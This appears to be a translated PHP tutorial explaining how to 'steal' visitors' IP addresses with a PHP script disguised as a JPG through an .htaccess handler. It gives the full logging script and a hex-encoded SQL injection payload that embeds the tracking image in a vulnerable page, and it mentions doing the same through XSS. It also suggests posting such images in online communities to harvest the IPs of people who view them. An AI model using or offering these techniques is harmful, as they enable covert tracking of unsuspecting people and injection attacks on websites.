Home  >  Article  >  Backend Development  >  Obtain IP address through photos based on PHP

Obtain IP address through photos based on PHP

WBOY
WBOYOriginal
2016-07-29 08:51:551169browse

In this tutorial, we will learn how to steal an IP address using a photo. My idea is to parse the jpg file as a php file by modifying the .htaccess file.

The following is the code we need to add to .htaccess:

AddHandler application/x-httpd-php5 .jpg

Then copy the following code into Notepad and name it grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

Set the permissions of grabber.jpg to 755, then find another photo, name it n00b.png, and put it in the same directory as grabber.jpg.

That’s it, everything is ready. When someone browses the photo grabber.jpg, their IP address will be recorded.

(Translator’s Note: These things need to be uploaded to our personal website space)

POC:

(Translator’s Note: The author has posted a demonstration photo of how to obtain IP. For everyone’s privacy, I It has not been posted, readers can go to the author's blog to check it out)

At this point, our photos are ready to start working.

Then I would also like to explain how to use SQLi to obtain the ip address. In fact, it is very fast to use photos to steal IP addresses. We have no reason to use this method of SQLi, but in order to let readers gain more knowledge, I will explain it:

http://leettime.net/sqlninja. com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d6 1676569702f7472796d652e6a7067223e,3#

Now, let’s talk about how to use xss to get the ip address:

http://leettime.net/xsslab1/chalg1.php? name=&submit=Search

Okay, that’s it.

We can do many interesting things with this technique. In fact, most communities allow us to publish some photos, so we can use this method to get the IP addresses of all people who access our photos.

The above is the relevant content that the editor introduces to you based on PHP to obtain IP addresses through photos. I hope it will be helpful to everyone!

The above introduces the implementation of obtaining IP addresses through photos based on PHP, including the content of obtaining IP addresses. I hope it will be helpful to friends who are interested in PHP tutorials.

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn